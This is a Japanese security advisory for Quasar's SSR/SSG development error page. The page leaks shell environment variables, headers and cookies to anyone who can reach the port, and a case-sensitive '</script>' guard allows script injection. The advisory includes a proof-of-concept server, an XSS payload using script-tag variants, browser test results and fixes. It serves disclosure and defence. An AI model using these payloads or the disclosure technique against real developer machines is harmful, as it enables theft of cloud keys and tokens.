Quasar Framework: SSR/SSG開発時のエラーページが、完全なシェル環境を公開し、その`<script>`タグのエスケープ処理を回避できる

### 概要

Quasar CLIがSSRまたはSSGのレンダリング中にエラーが発生した場合に表示されるエラーページは、開発環境において、`process.env`内のすべての変数、すべてのリクエストヘッダー、およびすべてのCookieをHTTPレスポンスにシリアライズし、開発サーバーはデフォルトで`0.0.0.0`にバインドされます。したがって、ポートにアクセスできるすべてのホストが、認証なしで単一のGETリクエストによって、開発者のクラウドキー、レジストリトークン、およびデータベースURLを取得できてしまいます。同じページには、`<script>`要素内にデータが埋め込まれており、`replaceAll('</script>', ...)`というガードによって保護されていますが、このガードはASCIIの大文字小文字を区別し、リテラルな`>`が必要であるため、`</SCRIPT>`, `</script >`、および`</script/>`といった記述は、要素のエスケープを回避し、開発サーバーのオリジンでスクリプトの実行を可能にします。

### 詳細

`renderSSRError()`関数は、JSONデータをあらかじめコンパイルされたバンドル(`utils/render-ssr-error/src/index.js`)に組み込むことでページを構築します。

```js
errorHtml:
before +
JSON.stringify(data).replaceAll('</script>', String.raw`<\/script>`) +
after
```

`before`と`after`は、コンパイルされたエラーページのUIの2つの部分であり、`<script type="module">`要素内に分割されています。したがって、`data`は生のスクリプトテキストとしてJSオブジェクトリテラルで出力されます。このデータ自体は、`utils/render-ssr-error/src/env.js`から取得されます。

```js
function getEnvironmentVariablesData () {
return Object.keys(process.env).reduce((acc, name) => {
acc[ name ] = process.env[ name ]
return acc
}, {})
}

export function getEnv (req) {
return {
Request: getRequestData(req),
Headers: getHeadersData(req),
Cookies: getCookiesData(req),
'Shell environment variables': getEnvironmentVariablesData()
}
}
```

このページは、`app-vite/lib/modes/ssr/ssr-devserver.js` の `serve.devError({ err, req })` 関数と、SSG(Static Site Generation)の対応部分によって提供されます。生成されたレンダリングミドルウェアは、レンダリング中にエラーが発生した場合に、この部分を呼び出します。開発サーバーは、`app-vite/lib/quasar-config-file.js` が Vite のデフォルトである `localhost` を上書きしているため、すべてのインターフェースでリッスンしています。

```js
} else if (!cfg.devServer.host) {
cfg.devServer.host = '0.0.0.0'
}
```

エスケープ処理が失敗するのは、HTML パーサーがスクリプトの生のテキストを、`<` の後に大文字小文字を区別しない `script` が続き、その後にタブ、改行、フォームフィード、スペース、`/`、または `>` のいずれかが続く場合に終了するからです。`replaceAll` 関数は、文字列パターンに完全に一致する文字列のみを置換します。`</SCRIPT>`, `</ScRiPt>`, `</script >`、および `</script/>` はすべて変更されず、すべて要素を閉じます。`JSON.stringify` は `<` または `>` をエスケープせず、Cookie の値は、Blob に配置される前に `decodeURIComponent` を使用してデコードされるため、パーセントエンコードされたペイロードは有効なマークアップとして解釈されます。

このプロジェクトは、すでに別の場所でこれを正しく実装しています。`ui/src/plugins/meta/Meta.js` では、末尾に `>` がない大文字小文字を区別しないパターンを使用しています。

```js
function protectRawText (value, tagName) {
return String(value).replaceAll(new RegExp(`</${tagName}`, 'gi'), `<\\/${tagName}`)
}
```

### PoC(概念実証)

公開されている `@quasar/render-ssr-error@2.2.3` を使用して、開発サーバーのエラー処理を再現するテストコードです。このコードでは、環境変数に 2 つのカナリア値を設定しています。

```js
import http from 'node:http'
import renderSSRError from '@quasar/render-ssr-error'

process.env.AWS_SECRET_ACCESS_KEY = 'CANARY_AWS_SECRET_dev_machine_9f3a1c'
process.env.NPM_TOKEN = 'CANARY_npm_TOKEN_abcdef'

http.createServer((req, res) => {
const err = new Error('Cannot read properties of undefined (reading "x")')
const { errorHeaders, errorHtml } = renderSSRError({ err, req, rootFolder: process.cwd() })
res.writeHead(500, errorHeaders)
res.end(errorHtml)
}).listen(3200, '0.0.0.0')
```

情報漏洩には、ペイロードは一切必要ありません。単純な `GET /` リクエストで、957 KB のページが返され、そのページには両方の「カメレオン」が含まれています。

```
ENV DISCLOSURE (単純な GET リクエスト、インジェクションなし): 500 エラーページに、2/2 のカメレオンシークレットが存在します。
-> CANARY_AWS_SECRET_dev_machine_9f3a1c, CANARY_npm_TOKEN_abcdef
```

インジェクションの場合、ペイロードは通常の HTTP リクエストヘッダーに挿入されます。`JSON.stringify` は `"` を `\"` にエスケープするため、ハンドラはシングルクォートを使用します。

```
<TAG><img src=/nonexistent-image onerror='window.__QPWN=document.domain+":"+location.port'>
```

ヘッドレス Chromium で実行すると、以下の結果が得られます。

```
POSITIVE </SCRIPT > (大文字 + スペース) window.__QPWN=127.0.0.1:3200 injectedImg=1 攻撃者スクリプトが実行されました
POSITIVE </script > (小文字 + スペース) window.__QPWN=127.0.0.1:3200 injectedImg=1 攻撃者スクリプトが実行されました
POSITIVE </script/> (小文字 + スラッシュ) window.__QPWN=127.0.0.1:3200 injectedImg=1 攻撃者スクリプトが実行されました
POSITIVE </ScRiPt> (大文字小文字混在) window.__QPWN=127.0.0.1:3200 injectedImg=1 攻撃者スクリプトが実行されました
NEG-CTRL </script> (フィルターが一致する文字列)
window.__QPWN=null injectedImg=0 実行されませんでした
```

ネガティブコントロールは、`replaceAll` が実際に一致するスペルミスを含むペイロードと同じものです。何もインジェクトされず、何も実行されないため、問題はエスケープ処理にあることがわかります。インジェクションのコンテキストを確認するために、プローブヘッダーが `<script type="module">` 要素内に返されます。

```
..."Headers":{"host":"127.0.0.1:3200","user-agent":"curl/8.18.0","accept":"*/*",
"x-probe":"</SCRIPT ><img src=/nope onerror=\"window.__QPWN=1\">MARKEREND"},...
```

ページには `Content-Security-Policy` が送信されていません。

### 影響

機密システム情報の漏洩、および、その情報を表示するページへのHTMLインジェクション。これは開発環境でのみ発生する問題であり、`serve.devError` が本番環境のビルドには存在しないため、アプリケーションのサーバーサイドレンダリングがエラーを発生させる必要があります。このページは、通常の状態ではエラーを表示するために存在しますが、攻撃者がポートにアクセスできる場合、簡単にその情報を取得できます。

情報の漏洩は、TCP接続のみで発生し、シェル環境、すべてのリクエストヘッダー、すべてのCookie、および各スタックフレームの周囲の10行のソースコードが含まれます。開発環境では、通常、クラウド認証情報、npmまたはGitHubのトークン、データベース接続文字列などが含まれます。Quasarは、Viteのデフォルトである`localhost`を`0.0.0.0`で上書きするため、同じネットワークセグメント内または共有コンテナネットワーク内のすべてのユーザーがこの情報にアクセスできる可能性があります。

インジェクションは、この情報の漏洩の上に連鎖的に発生する問題と考えるべきであり、単独でのドライブバイ攻撃ではありません。生のHTTPクライアントはヘッダーを設定できますが、それによって影響を受けるのは自身のページのみです。コードが開発者のブラウザで実行されるためには、ペイロードが開発者のリクエストとともに送信される必要があり、実際にはCookieチャネルを経由します。Cookieの値はURLデコードされるため、`localhost`または`127.0.0.1`のオリジンを持つどのページでも、そのホストのすべてのポートに送信されるCookieを設定できます。クロスオリジンの`fetch`は機能しません。CORSで許可されたヘッダーには`<`や`>`が含まれておらず、ブラウザはそれらをURLエンコードするため、`req.url`はデコードされません。

エスケープ処理を修正するだけでは、情報の漏洩は解決しません。`<`をエスケープするような方法でシリアライズすることで、インジェクションを防止できます。例えば、`app-vite/lib/modes/ssr/ssr-utils.js`で既に正しく使用されている`serialize-javascript`などです。`process.env`やCookieの値を編集または省略することで、情報の漏洩を防止できます。また、Viteと同様に、`devServer.host`をデフォルトで`localhost`に設定することで、アクセスできるユーザーを減らすことができます。

影響を受けるパッケージ:
- npm (JavaScript) @quasar/render-ssr-error: 影響を受けるバージョンは2.2.3以下、2.2.4で修正済み
- npm (JavaScript) @quasar/app-vite: 影響を受けるバージョンは3.2.0以下、3.3.0で修正済み